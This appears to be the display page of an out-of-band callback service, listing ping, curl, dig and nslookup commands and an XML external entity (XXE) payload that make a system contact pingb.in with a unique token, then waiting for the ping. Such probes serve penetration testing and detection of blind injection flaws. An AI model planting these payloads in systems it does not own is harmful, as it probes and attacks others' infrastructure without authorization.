$ ping -c1 -p 0096807403f3bfad9604bdff8a807a00 pingb.in
 
$ curl pingb.in/p/96807403f3bfad9604bdff8a807a
 
$ dig 96807403f3bfad9604bdff8a807a @pingb.in
 
$ dig 96807403f3bfad9604bdff8a807a.ns.pingb.in
 
C:\> nslookup 96807403f3bfad9604bdff8a807a pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/96807403f3bfad9604bdff8a807a">]>
    <foo>&xxe;</foo>
Waiting for ping...